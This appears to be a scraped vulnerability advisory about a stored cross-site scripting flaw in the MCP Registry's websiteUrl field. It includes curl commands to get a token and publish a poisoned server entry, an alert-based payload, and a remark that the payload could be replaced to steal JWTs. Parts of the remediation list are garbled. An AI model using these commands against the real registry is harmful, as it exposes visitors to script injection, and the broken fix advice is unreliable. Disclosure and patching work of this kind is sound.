Listen to this Post
How the mentioned CVE works:
The MCP Registry’s public catalogue (GET /) is vulnerable to stored cross-site scripting because the `websiteUrl` field in a published `server.json` is not properly sanitized. Server-side validation in `validators.go` (validateWebsiteURL) only checks that the URL is absolute and uses HTTPS – it does not reject quote characters. A malicious `websiteUrl` like `https://example.com/”onmouseover=alert(document.domain)//` passes this check because Go’s `net/url.Parse` accepts literal double quotes in the path. On the client side, the `ui_index.html` file builds an anchor’s `href` attribute by interpolating the escaped `websiteUrl` using a homegrown `escapeHtml` function. This function performs a `textContent` → `innerHTML` round-trip, which – per HTML5 serialization rules – encodes only &, <, >, and U+00A0. It does not encode `”` or '. Therefore, the double quote breaks out of the `href` attribute, allowing an attacker to append arbitrary event handlers (e.g., onmouseover). The page’s Content-Security-Policy includes 'unsafe-inline', so injected inline event handlers execute. Any user with a publish token (via GitHub OAuth or anonymous auth) can plant a poisoned server entry. When a victim expands the server card and hovers over the Website link, the payload fires in the context of registry.modelcontextprotocol.io. This leads to stored XSS affecting all visitors.
dailycve form:
Platform: MCP Registry
Version: Unspecified before fix
Vulnerability: Stored Cross-Site Scripting
Severity: Medium – 6.1
Date: May 8 2026
Prediction: Within two weeks
What Undercode Say:
Obtain registry token using GitHub PAT
TOKEN=$(curl -sS -X POST https://registry.modelcontextprotocol.io/v0/auth/github-at \
-H 'Content-Type: application/json' \
-d '{"github_token":"<gh-pat>"}' | jq -r .registry_token)
Publish malicious server.json with quoted payload
curl -sS -X POST https://registry.modelcontextprotocol.io/v0/publish \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
--data-binary @- <<'EOF'
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-09-29/server.schema.json",
"name": "io.github.test/xss-poc",
"version": "0.0.1",
"description": "hover the website link",
"websiteUrl": "https://example.com/\"onmouseover=alert(document.domain)//"
}
EOF
Verify entry appears on homepage, expand card, hover link
Exploit:
1. Attacker publishes a server with `websiteUrl` containing "onmouseover=alert(document.domain)//.
2. Victim visits https://registry.modelcontextprotocol.io/`, searches for the malicious server, expands its card.“
3. Victim hovers the “Website” link → `onmouseover` executes `alert(document.domain)` from the registry origin.
4. Attacker can replace payload with script to steal JWTs, modify localStorage, or perform authenticated actions.
<h2 style="color: blue;">Protection from this CVE</h2>
- Replace `escapeHtml` with an attribute‑safe encoder that escapes,‘, ``,=, and backticks.parsedURL.String()`.
- Use `setAttribute('href', value)` instead of string interpolation to build the `` tag.
- Tighten `validateWebsiteURL` to reject raw quotes or percent‑encode them via
– Remove `’unsafe-inline’` from the `script-src` CSP directive.
Impact
- Stored XSS on the official MCP Registry homepage – every visitor who expands the poisoned card triggers execution.
- Attacker can read/write `localStorage` (pinning a malicious custom base URL), issue XHR requests (
connect-srcallows any origin), and perform phishing for Registry JWTs. - Credibility of the registry is undermined; all published servers become potential attack vectors until the bug is fixed.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

